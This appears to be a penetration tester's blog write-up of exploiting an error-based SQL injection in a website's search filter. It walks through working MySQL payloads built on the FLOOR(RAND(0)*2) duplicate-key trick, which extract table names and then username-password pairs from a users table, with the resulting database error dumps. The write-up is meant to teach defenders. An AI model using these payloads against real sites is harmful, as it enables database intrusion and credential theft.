Hi everybody I don’t post much write-ups online because most of the work done privately and under NDA.
But this time i decided to publish this (anonymously after website owner agreed ) because too many developers insists that you can’t exploit complicated SQL , or non result SQL (example: count(*) sql
).
Note: You can automate everything in this article using SQLMap, but i choose to exploit it manually to explain under the hood proccess.
First I got a call from one of my friends told me that a hacker contacted them and told them that he found a sql-injection in their website and express his intentions to blackmail them.
I opened the website and tried to play with the parameter just to check , in a couple of minutes i found a bug in their search page . search page make ajax request when you filter the result to the page , the term parameter is the one is not filtered.
/?FilterThemes?tags[]=free&term='
it generates a database error page with full sql dump ( debug mode is ON :) ).
ERROR 1064
You have an error in your SQL syntax; check the manual that corresponds to your MYSQL server version for the right syntax to use near '',themes.tag_title) != 0' at line 1
SELECT COUNT(*) FROM (`themes`) JOIN `authors` on `authors`.`id` = `themes`.`author` FIND_IN_SET(''',themes.tag_title) != 0 or `themes`.`title` like '%'%' or `themes`.`desc` like '%'%' AND match (themes.tag_title) against ('free' in boolean mode) order by `themes`.`id` desc limit 12
Awesome , but oh wait …
the parameter pass first to count query before it pass to aggregate query.. so must our payload pass the two queries and execute it with union..
OR …
I remembered uncommon way we used it to exploit blind SQL injection which don’t generate any result to the browser — this way can done only if errors is displayed, great that what we have here , right!
The POC
lets change the payload for a poc
/?FilterThemes?tags[]=free&term=d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
BINGO :)
ERROR 1062
Duplicate entry 'hello1world' for key 'group_key'
SELECT COUNT(*) FROM (`themes`) JOIN `authors` on `authors`.`id` = `themes`.`author` FIND_IN_SET('d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='',themes.tag_title) != 0 or `themes`.`title` like '%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='%' or `themes`.`desc` like '%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='%' AND match (themes.tag_title) against ('free' in boolean mode) order by `themes`.`id` desc limit 12
Did you notice :) , the expression
CONCAT('hello',FLOOR(RAND(0)*2),'world')
has been evaluated and displayed :)
let me explain the sql query and how it works before we finish our exploit.
There is some information you needs to know about MySQL.
When mysql try to run a sql with multiple sub queries in it , it evaluate the sub queries first then the parent.
When using group by required a unique key.
To understand more, lets try some queries on our terminal.
Select count(*) from INFORMATION_SCHEMA.CHARACTER_SETS;
Normal count sql to count the number of records inside Information Scheme database (default database in mysql). now lets play with this sql a little.
select count(*), version() x from INFORMATION_SCHEMA.CHARACTER_SETS group by x
again nothing special , we added version() (function retrieve the mysql version) and named it x and then we grouped by it.
+----------+----------------------------------------+
| count(*) | x |
+----------+----------------------------------------+
| 40 | 10.2.3-MariaDB-10.2.3+maria~xenial-log |
+----------+----------------------------------------+
I use maria db in my local machine , its a fork from mysql but with much optimization
Lets be aggressive
SELECT count(*), CONCAT(version(),floor(rand(0) *2)) x from INFORMATION_SCHEMA.CHARACTER_SETS group by x;
We added a little change ( floor(rand(0) * 2) ) and if you run this sql you will get
ERROR 1062 (23000): Duplicate entry '10.2.3-MariaDB-10.2.3+maria~xenial-log1' for key 'group_key'
Do you remember the information i told you before about Mysql requires group key to be unique :).
the ( floor(rand(0) * 2) )
generates a sequence of 0, 1, 1, 0, 1, 1
and the version()
will be always the same.
so the sequence of calling count(*)
will be
CONCAT(version(),floor(rand(0) *2))
= 10.2.3-MariaDB-10.2.3+maria~xenial-log0CONCAT(version(),floor(rand(0) *2))
= 10.2.3-MariaDB-10.2.3+maria~xenial-log1CONCAT(version(),floor(rand(0) *2))
= 10.2.3-MariaDB-10.2.3+maria~xenial-log1 //Duplication
So we got the error duplicate in the third attempt
Duplicate entry '10.2.3-MariaDB-10.2.3+maria~xenial-log1' for key 'group_key'
do you got it :)
Extract some data
We got the error , we got the leak .. now we need some valuable informations.
Starting with INFORMATION_SCHEME.tables
, we can grab tables names.
With simple script we can grab all tables names by extracting the result from the db error , just feed the script with payload.
%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select TABLE_NAME from INFORMATION_SCHEMA.TABLES LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='%
Now we know the users table. modifying the script with the new payload to grab users data.
%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select concat(username,'-',password) from users LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='%
Thats it.
Lesson learned
- Always turn errors off in production.
- Don’t underestimate any bug , 99% of bugs can be exploited somehow.
Stay safe.